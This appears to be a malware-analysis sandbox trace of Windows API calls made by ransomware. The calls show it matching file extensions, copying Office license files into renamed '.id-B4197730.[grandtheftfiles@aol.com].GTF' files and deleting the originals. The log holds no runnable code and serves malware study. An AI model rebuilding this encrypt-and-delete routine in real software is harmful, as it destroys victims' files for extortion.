	[0174.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0174.714] lstrlenW (lpString=".1cd") returned 4
	[0174.714] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0174.714] lstrlenW (lpString=".jpg") returned 4
	[0174.714] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.715] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.715] lstrlenW (lpString="MondoR_Grace-ppd.xrm-ms") returned 23
	[0174.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0174.720] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=26459) returned 1
	[0174.720] CloseHandle (hObject=0x530) returned 1
	[0174.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 0x220
	[0174.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0174.729] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.729] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0174.752] GetLastError () returned 0x0
	[0174.752] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x675b, lpOverlapped=0x0) returned 1
	[0174.799] WriteFile (in: hFile=0x45c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x6760, lpOverlapped=0x0) returned 1
	[0174.801] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.801] WriteFile (in: hFile=0x45c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x102, lpOverlapped=0x0) returned 1
	[0174.801] SetEndOfFile (hFile=0x45c) returned 1
	[0174.801] CloseHandle (hObject=0x45c) returned 1
	[0174.801] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.801] SetEndOfFile (hFile=0x530) returned 1
	[0174.808] CloseHandle (hObject=0x530) returned 1
	[0174.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 1
	[0175.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0175.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0175.050] lstrlenW (lpString=".doc") returned 4
	[0175.050] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.050] lstrlenW (lpString=".docx") returned 5
	[0175.050] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.051] lstrlenW (lpString=".pdf") returned 4
	[0175.051] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.051] lstrlenW (lpString=".xls") returned 4
	[0175.051] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.051] lstrlenW (lpString=".xlsx") returned 5
	[0175.051] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.051] lstrlenW (lpString=".ppt") returned 4
	[0175.051] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0175.051] lstrlenW (lpString=".zip") returned 4
	[0175.051] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.051] lstrlenW (lpString=".rar") returned 4
	[0175.051] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.051] lstrlenW (lpString=".bz2") returned 4
	[0175.051] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.051] lstrlenW (lpString=".7z") returned 3
	[0175.051] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0175.051] lstrlenW (lpString=".dbf") returned 4
	[0175.051] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0175.051] lstrlenW (lpString=".1cd") returned 4
	[0175.051] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0175.051] lstrlenW (lpString=".jpg") returned 4
	[0175.051] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0175.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0175.051] lstrlenW (lpString=".doc") returned 4
	[0175.051] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.051] lstrlenW (lpString=".docx") returned 5
	[0175.051] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.051] lstrlenW (lpString=".pdf") returned 4
	[0175.052] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.052] lstrlenW (lpString=".xls") returned 4
	[0175.052] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.052] lstrlenW (lpString=".xlsx") returned 5
	[0175.052] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.052] lstrlenW (lpString=".ppt") returned 4
	[0175.052] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0175.052] lstrlenW (lpString=".zip") returned 4
	[0175.052] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.052] lstrlenW (lpString=".rar") returned 4
	[0175.052] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.052] lstrlenW (lpString=".bz2") returned 4
	[0175.052] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.052] lstrlenW (lpString=".7z") returned 3
	[0175.052] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0175.052] lstrlenW (lpString=".dbf") returned 4
	[0175.052] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0175.052] lstrlenW (lpString=".1cd") returned 4
	[0175.052] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0175.052] lstrlenW (lpString=".jpg") returned 4
	[0175.052] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.052] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.052] lstrlenW (lpString="MondoR_OEM_Perp-ppd.xrm-ms") returned 26
	[0175.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0175.053] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=26464) returned 1
	[0175.053] CloseHandle (hObject=0x528) returned 1
	[0175.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 0x220
	[0175.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0175.116] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.116] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0175.117] GetLastError () returned 0x0
	[0175.117] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x6760, lpOverlapped=0x0) returned 1
	[0175.194] WriteFile (in: hFile=0x588, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x6770, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x6770, lpOverlapped=0x0) returned 1
	[0175.196] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.196] WriteFile (in: hFile=0x588, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x108, lpOverlapped=0x0) returned 1
	[0175.196] SetEndOfFile (hFile=0x588) returned 1
	[0175.196] CloseHandle (hObject=0x588) returned 1
	[0175.196] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.196] SetEndOfFile (hFile=0x540) returned 1
	[0175.215] CloseHandle (hObject=0x540) returned 1
	[0175.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 1
	[0175.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0175.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0175.330] lstrlenW (lpString=".doc") returned 4
	[0175.330] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.330] lstrlenW (lpString=".docx") returned 5
	[0175.330] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.331] lstrlenW (lpString=".pdf") returned 4
	[0175.331] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.331] lstrlenW (lpString=".xls") returned 4
	[0175.331] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.331] lstrlenW (lpString=".xlsx") returned 5
	[0175.331] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.331] lstrlenW (lpString=".ppt") returned 4
	[0175.331] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0175.331] lstrlenW (lpString=".zip") returned 4
	[0175.331] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.331] lstrlenW (lpString=".rar") returned 4
	[0175.331] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.331] lstrlenW (lpString=".bz2") returned 4
	[0175.331] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.331] lstrlenW (lpString=".7z") returned 3
	[0175.331] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0175.331] lstrlenW (lpString=".dbf") returned 4
	[0175.331] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0175.331] lstrlenW (lpString=".1cd") returned 4
	[0175.331] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0175.331] lstrlenW (lpString=".jpg") returned 4
	[0175.331] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0175.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0175.332] lstrlenW (lpString=".doc") returned 4
	[0175.332] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.332] lstrlenW (lpString=".docx") returned 5
	[0175.332] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.332] lstrlenW (lpString=".pdf") returned 4
	[0175.332] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.332] lstrlenW (lpString=".xls") returned 4
	[0175.332] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.332] lstrlenW (lpString=".xlsx") returned 5
	[0175.332] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.332] lstrlenW (lpString=".ppt") returned 4
	[0175.332] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0175.332] lstrlenW (lpString=".zip") returned 4
	[0175.332] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.332] lstrlenW (lpString=".rar") returned 4
	[0175.332] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.332] lstrlenW (lpString=".bz2") returned 4
	[0175.332] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.332] lstrlenW (lpString=".7z") returned 3
	[0175.332] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0175.332] lstrlenW (lpString=".dbf") returned 4
	[0175.332] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0175.332] lstrlenW (lpString=".1cd") returned 4
	[0175.332] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0175.333] lstrlenW (lpString=".jpg") returned 4
	[0175.333] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.333] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.333] lstrlenW (lpString="MondoR_Retail-ul-phn.xrm-ms") returned 27
	[0175.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0175.370] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19919) returned 1
	[0175.371] CloseHandle (hObject=0x57c) returned 1
	[0175.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 0x220
	[0175.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0175.371] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.371] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0175.374] GetLastError () returned 0x0
	[0175.374] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x4dcf, lpOverlapped=0x0) returned 1
	[0175.412] WriteFile (in: hFile=0x45c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4dd0, lpOverlapped=0x0) returned 1
	[0175.414] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.414] WriteFile (in: hFile=0x45c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0175.414] SetEndOfFile (hFile=0x45c) returned 1
	[0175.414] CloseHandle (hObject=0x45c) returned 1
	[0175.414] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.414] SetEndOfFile (hFile=0x57c) returned 1
	[0175.417] CloseHandle (hObject=0x57c) returned 1
	[0175.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 1
	[0175.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0175.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0175.418] lstrlenW (lpString=".doc") returned 4
	[0175.418] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.418] lstrlenW (lpString=".docx") returned 5
	[0175.418] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.418] lstrlenW (lpString=".pdf") returned 4
	[0175.418] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.419] lstrlenW (lpString=".xls") returned 4
	[0175.419] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.419] lstrlenW (lpString=".xlsx") returned 5
	[0175.419] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.419] lstrlenW (lpString=".ppt") returned 4
	[0175.419] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0175.419] lstrlenW (lpString=".zip") returned 4
	[0175.419] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.419] lstrlenW (lpString=".rar") returned 4
	[0175.419] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.419] lstrlenW (lpString=".bz2") returned 4
	[0175.419] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.419] lstrlenW (lpString=".7z") returned 3
	[0175.419] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0175.419] lstrlenW (lpString=".dbf") returned 4
	[0175.419] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0175.419] lstrlenW (lpString=".1cd") returned 4
	[0175.419] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0175.419] lstrlenW (lpString=".jpg") returned 4
	[0175.419] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0175.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0175.419] lstrlenW (lpString=".doc") returned 4
	[0175.419] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.419] lstrlenW (lpString=".docx") returned 5
	[0175.419] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.419] lstrlenW (lpString=".pdf") returned 4
	[0175.419] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.419] lstrlenW (lpString=".xls") returned 4
	[0175.420] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.420] lstrlenW (lpString=".xlsx") returned 5
	[0175.420] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.420] lstrlenW (lpString=".ppt") returned 4
	[0175.420] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
